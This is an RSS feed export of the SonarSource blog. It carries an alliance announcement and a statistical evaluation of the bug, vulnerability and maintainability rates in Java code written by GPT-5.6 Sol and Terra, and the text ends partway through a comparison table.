<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[SonarSource Blog]]></title><description><![CDATA[SonarSource Blog]]></description><link>https://www.sonarsource.com</link><image><url>https://www.sonarsource.com/favicon.ico</url><title>SonarSource Blog</title><link>https://www.sonarsource.com</link></image><generator>RSS for Node</generator><lastBuildDate>Fri, 14 Aug 2026 12:17:34 GMT</lastBuildDate><atom:link href="https://www.sonarsource.com/rss/blog.xml" rel="self" type="application/rss+xml"/><item><title><![CDATA[Sonar joins the Open Secure AI Alliance to advance AI safety and security]]></title><description><![CDATA[Sonar joins the Open Secure AI Alliance to help strengthen AI code security through open source collaboration with NVIDIA and other industry leaders.]]></description><link>https://www.sonarsource.com/blog/sonar-joins-the-open-secure-ai-alliance/</link><guid isPermaLink="false">en:b2abdb20-2d21-4eb5-966b-2dbda4f65b41</guid><dc:creator><![CDATA[Tariq Shaukat]]></dc:creator><pubDate>Mon, 10 Aug 2026 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Open source technology is critical to the global economy. For decades, it has promoted innovation, security, and trust. That will be even more true in the AI economy. &lt;/p&gt;&lt;p&gt;Sonar is proud to have roots in the open source world, and I’m proud to share that Sonar has joined the Open Secure AI Alliance as an inaugural partner. We’re excited to contribute to this collaborative effort with NVIDIA and other industry leaders to help strengthen the foundations of secure AI.&lt;/p&gt;&lt;p&gt;As AI models become more capable, it is putting a lot of stress on the open source world. We are taking concrete steps to be part of the solution, helping developers, maintainers, and enterprises operate with openness, trust, and confidence. &lt;/p&gt;&lt;h2&gt;Some ways we&amp;#x27;re helping:&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;Both &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt; and &lt;a href=&quot;https://www.sonarsource.com/products/gitar/&quot;&gt;Gitar&lt;/a&gt; AI Code Review are available for free for OSS projects - helping maintainers verify the quality, reliability, and security of their projects.&lt;/li&gt;&lt;li&gt;For several years, Sonar (and previously &lt;a href=&quot;https://www.sonarsource.com/company/press-releases/sonar-to-acquire-tidelift/&quot;&gt;Tidelift which we acquired&lt;/a&gt;) has financially supported over 600 OSS maintainers across thousands of packages, ensuring they can focus on their important work.&lt;/li&gt;&lt;li&gt;SonarQube Community Build and &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/ide/&quot;&gt;SonarQube for IDE&lt;/a&gt; bring the power of SonarQube to millions of developers everywhere, for free and with transparency.&lt;/li&gt;&lt;li&gt;SonarSweep helps enterprises improve Open Weight AI models, to embed context while improving the quality and security of the output.&lt;/li&gt;&lt;li&gt;Our &lt;a href=&quot;https://www.sonarsource.com/the-coding-personalities-of-leading-llms/leaderboard/&quot;&gt;LLM Leaderboard&lt;/a&gt; helps people understand the quality and security of leading AI models, covering both proprietary and open weight models. &lt;/li&gt;&lt;li&gt;Last but not least, &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/advanced-security/&quot;&gt;SonarQube Advanced Security&lt;/a&gt; helps developers understand their third party dependencies and the risks associated with them&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Read Nvidia’s blog post to learn more: &lt;a href=&quot;https://blogs.nvidia.com/blog/open-secure-ai-alliance/&quot;&gt;https://blogs.nvidia.com/blog/open-secure-ai-alliance/&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[OpenAI GPT-5.6 Sol and Terra: An evaluation]]></title><description><![CDATA[Learn what changed in GPT 5.6 coding performance from correctness gains to new security and concurrency challenges in this detailed evaluation.]]></description><link>https://www.sonarsource.com/blog/openai-gpt-5-6-sol-and-terra/</link><guid isPermaLink="false">en:f3d7ba00-64de-4911-b190-55dc30075140</guid><dc:creator><![CDATA[Killian Carlsen-Phelan]]></dc:creator><pubDate>Thu, 06 Aug 2026 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Every model that writes better code hands your team the same bill: more code to check, and less time to check it. That gap between how fast code arrives and how fast a team can verify it is verification debt, and a stronger model does not pay it down. It moves it.&lt;/p&gt;&lt;p&gt;GPT-5.6 is a better code generator than the model before it. This evaluation is about what that improvement actually costs you, and where.&lt;/p&gt;&lt;p&gt;OpenAI&amp;#x27;s GPT-5.6 arrived in three variants: Sol, Terra &amp;amp; Luna. We evaluated Sol and Terra here; Luna is out of scope for this run. Same generation, three different builds, and the benchmark data shows they do not behave the same way. &lt;/p&gt;&lt;p&gt;We ran the eval for both Sol and Terra through Sonar&amp;#x27;s LLM evaluation framework, which measures generated code against the same analysis  we&amp;#x27;d apply to anything a developer wrote.  Same 4,444 Java tasks, same quality profile, same reasoning effort. Because we re-ran GPT-5.5 through the same analysis, every comparison below is apples to apples.&lt;/p&gt;&lt;p&gt;The short version: Sol writes more correct code than GPT-5.5, and it is easier to read. But the security risk moved, and it moved into two places a code review will not reliably catch. Let’s get into the details and look at the full data.&lt;/p&gt;&lt;h2&gt;How was GPT-5.6 Sol and Terra evaluated?&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;Models:&lt;/strong&gt; GPT-5.6 Sol, GPT-5.6 Terra, GPT-5.5 (baseline)&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Language:&lt;/strong&gt; Java&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Benchmark:&lt;/strong&gt; 4,444 tasks (HumanEval, MBPP, ComplexCodeEval)&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Reasoning effort:&lt;/strong&gt; medium, for all three&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Analyzer:&lt;/strong&gt; SonarQube algorithmic code analysis. Complexity and code smell densities are per 1,000 lines of code (kLOC); bug and vulnerability densities, and all category breakdowns, are per million lines (mLOC).&lt;/p&gt;&lt;p&gt;Two terms worth defining before the numbers:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Cyclomatic complexity:&lt;/strong&gt; counts independent paths through a function.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Cognitive complexity:&lt;/strong&gt; a SonarQube metric that weights nested and deeply branched logic more heavily, reflecting how hard the code is for a human to read.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Neither one tells you whether the code is correct. Both tell you how long review and testing will take.&lt;/p&gt;&lt;p&gt;In the severity tables below, the per-severity rows are counted against total issues raised, so they sum slightly above the headline density figures for the 5.6 variants. Read the severities as a distribution, not as a total.&lt;/p&gt;&lt;h2&gt;Key metrics at a glance&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;Metric&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;GPT-5.5&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;GPT-5.6 Sol&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;GPT-5.6 Terra&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Lines of code (total)&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;702,720&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;750,198&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;617,132&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Comments (% of LOC)&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;2.0%&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;1.5%&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;0.9%&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Cyclomatic complexity per kLOC&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;250.57&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;220.45&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;236.25&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Cognitive complexity per kLOC&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;151.27&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;143.23&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;161.53&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Bug density per mLOC&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;504&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;724&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;763&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Vulnerability density per mLOC&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;68&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;197&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;203&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Code smell density per kLOC&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;17.05&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;17.60&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;23.31&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Overall issue density per kLOC&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;17.62&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;18.52&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;24.27&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Functional skill (pass rate)&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;78.66%&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;81.99%&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;79.96%&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Missing completions&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;0.27%&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;0.25%&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;0.18%&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h3&gt;Functional skill&lt;/h3&gt;&lt;p&gt;Sol passes 81.99% of the benchmark, up from 78.66% for GPT-5.5. That&amp;#x27;s a 3.3 point gain on identical tasks.&lt;/p&gt;&lt;p&gt;It also leaves roughly one in five solutions failing its tests. You can&amp;#x27;t tell in advance which one. That&amp;#x27;s not a knock on the model, it&amp;#x27;s just the arithmetic of the thing.&lt;/p&gt;&lt;p&gt;Missing completions came in at 0.25% for Sol. Low, and close enough to GPT-5.5&amp;#x27;s 0.27% that the model finishes what it starts.&lt;/p&gt;&lt;h3&gt;How much code does GPT-5.6 Sol generate compared to GPT-5.5?&lt;/h3&gt;&lt;p&gt;Sol generated 750,198 lines across the benchmark, about 6.8% more than GPT-5.5. But it did that across 82,164 functions, down from 92,206. More code, fewer functions.&lt;/p&gt;&lt;p&gt;Work that out per function and you get 9.1 lines, up from 7.6. Sol writes longer functions that do more. Not a problem on its own, though it does mean each unit you review carries more logic than it used to.&lt;/p&gt;&lt;p&gt;Comments dropped to 1.5% of output, from 2.0%. In absolute terms that&amp;#x27;s 11,713 comment lines across 750,000 lines of code. For every 100 lines a reviewer opens, roughly one and a half carry any explanation. Well-named functions and variables can carry that load instead, and often do. Just worth knowing going in.&lt;/p&gt;&lt;h3&gt;Does GPT-5.6 Sol generate more complex code than GPT-5.5?&lt;/h3&gt;&lt;p&gt;Here&amp;#x27;s a nice surprise: complexity densities came down.&lt;/p&gt;&lt;p&gt;Cyclomatic complexity is 220.45 per kLOC, down from 250.57. Cognitive complexity is 143.23 per kLOC, down from 151.27. Sol writes more total code, but each thousand lines of it branches less than GPT-5.5&amp;#x27;s did.&lt;/p&gt;&lt;p&gt;That matters because cognitive complexity tracks how hard code is for a person to hold in their head. Nested conditionals, loops inside loops, branching where you have to track several states at once. Lower is easier to review, easier to test, easier to change without breaking something. Sol moved in the right direction on both counts.&lt;/p&gt;&lt;h3&gt;Bug density and severity&lt;/h3&gt;&lt;p&gt;Bug density is 724 per mLOC, up from 504. That&amp;#x27;s an increase of about 44%.&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;GPT-5.5&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;GPT-5.6 Sol&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Blocker&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;36&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;45&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Critical&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;26&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;33&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Major&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;238&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;327&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Minor&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;205&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;351&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Blockers and criticals are the two that cause production incidents, and both moved up, to 45 and 33 per mLOC. The bigger movement is in the long tail. Minor bugs went from 205 to 351 per mLOC, a 71% jump. Those don&amp;#x27;t break anything today. They accumulate, slow down future changes, and occasionally surface as real bugs once the codebase shifts around them.&lt;/p&gt;&lt;p&gt;The largest categories are where this gets specific:&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;Bug category&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;GPT-5.5&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;GPT-5.6 Sol&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Concurrency / threading&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;165&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;352&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Performance / structure&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;47&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;83&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Resource / stream leaks&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;74&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;55&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Exception handling&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;53&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;52&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Null / data value&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;34&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;55&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Type safety / casts&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;34&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;57&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Concurrency and threading more than doubled, and it now sits well clear of everything else at 349 per mLOC. Concurrency bugs are the expensive kind. They&amp;#x27;re hard to reproduce, they depend on the environment they run in, and they show up as intermittent failures that eat days of debugging time. &lt;/p&gt;&lt;p&gt;Resource leaks, exception handling, and type safety all improved slightly. Small moves, but they&amp;#x27;re moves in the right direction.&lt;/p&gt;&lt;h2&gt;What security vulnerabilities does GPT-5.6 Sol generate in code?&lt;/h2&gt;&lt;p&gt;Vulnerability density is 197 per mLOC, up from 68. This is the biggest change in the evaluation, and the severity split is the part worth reading closely.&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;GPT-5.5&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;GPT-5.6 Sol&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Blocker&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;18&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;9&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Critical&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;20&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;125&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Major&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;9&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;20&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Minor&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;21&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;49&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Blocker vulnerabilities halved, from 18 to 9 per mLOC. Everything else went up, with the critical category carrying most of it.&lt;/p&gt;&lt;p&gt;So the shape of the profile changed, not just the volume. In GPT-5.5, blockers made up 27% of all vulnerabilities. In Sol they&amp;#x27;re under 5%, and criticals are just under 62%. Fewer of the most severe findings, considerably more of the tier below.&lt;/p&gt;&lt;p&gt;The category breakdown explains where the increase came from. This is the full picture for both variants, and the rows add up to the density, so nothing is hiding:&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;Vulnerability category&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;GPT-5.5&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;GPT-5.6 Sol&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;GPT-5.6 Terra&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Cryptography misconfiguration&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;17&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;67&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;76&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Insecure system resource handling&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;1&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;60&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;50&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Inadequate error handling (I/O)&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;21&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;32&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;23&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Injection attack&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;-&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;17&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;16&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Path traversal / injection&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;10&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;4&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;-&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;XML external entity (XXE)&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;9&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;1&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;8&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Hard-coded credentials&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;9&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;4&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;6&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Certificate validation omissions&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;1&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;1&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;5&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Web API security misconfiguration&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;-&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;4&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;2&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Uncategorized&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;9&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;13&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;16&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;Total&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;68&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;197&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;202&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Injection attack findings don&amp;#x27;t appear in the GPT-5.5 output, and together with the insecure in insecure system resource handling they account for 76 of Sol&amp;#x27;s 129-point increase.&lt;/p&gt;&lt;p&gt;Cryptography misconfiguration is the other big mover, from 17 to 67 per mLOC, and it&amp;#x27;s now the largest single category. This covers weak algorithms, insecure key sizes, and random number generators used in ways they shouldn&amp;#x27;t be. It&amp;#x27;s also a category static analysis handles reliably, which is the useful part.&lt;/p&gt;&lt;p&gt;Some categories went the other way. Path traversal and injection dropped from 10 to 4 per mLOC, and XXE from 9 to 1. Both were already low and both got lower.&lt;/p&gt;&lt;p&gt;If you&amp;#x27;re wiring Sol into a pipeline, cryptography and system resource handling are where review time pays for itself. Those two are most of the story.&lt;/p&gt;&lt;h2&gt;How maintainable is GPT-5.6 Sol generated code?&lt;/h2&gt;&lt;p&gt;Code smell density is 17.60 per kLOC, against 17.05 for GPT-5.5. That&amp;#x27;s a 3.2% difference. Effectively flat.&lt;/p&gt;&lt;p&gt;Which is a genuinely good result given the extra volume. Blocker-level smells even came down, from 78 to 72 per mLOC.&lt;/p&gt;&lt;p&gt;The drivers are the same ones we&amp;#x27;ve seen from this family:&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;Code smell category&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;GPT-5.5&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;GPT-5.6 Sol&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Collection / generics parameter type&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;7,272&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;7,803&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Design / framework best practices&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;2,115&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;2,494&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Regex / pattern / string format&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;2,219&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;1,998&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Cognitive computational complexity&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;1,205&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;1,213&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Dead / unused / redundant code&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;1,434&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;862&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Deprecation / obsolete API&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;189&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;321&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Collection and generics issues are the largest named category, at 7,803 per mLOC. Raw types where parameterized generics belong, collection handling that sidesteps type safety. In Java these have a real cost: they suppress compiler warnings, make refactoring harder, and hide the kind of bug a properly typed implementation would have caught at compile time.&lt;/p&gt;&lt;p&gt;Dead and unused code dropped by about 40%, from 1,434 to 862 per mLOC. Deprecated API usage went the other way, from 189 to 321.&lt;/p&gt;&lt;h2&gt;How does GPT-5.6 Terra differ from GPT-5.6 Sol?&lt;/h2&gt;&lt;p&gt;Terra takes a visibly different approach to the same 4,444 tasks, and if you&amp;#x27;re choosing between the two variants the differences are worth having in front of you.&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;Metric&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;GPT-5.5&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;GPT-5.6 Sol&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;GPT-5.6 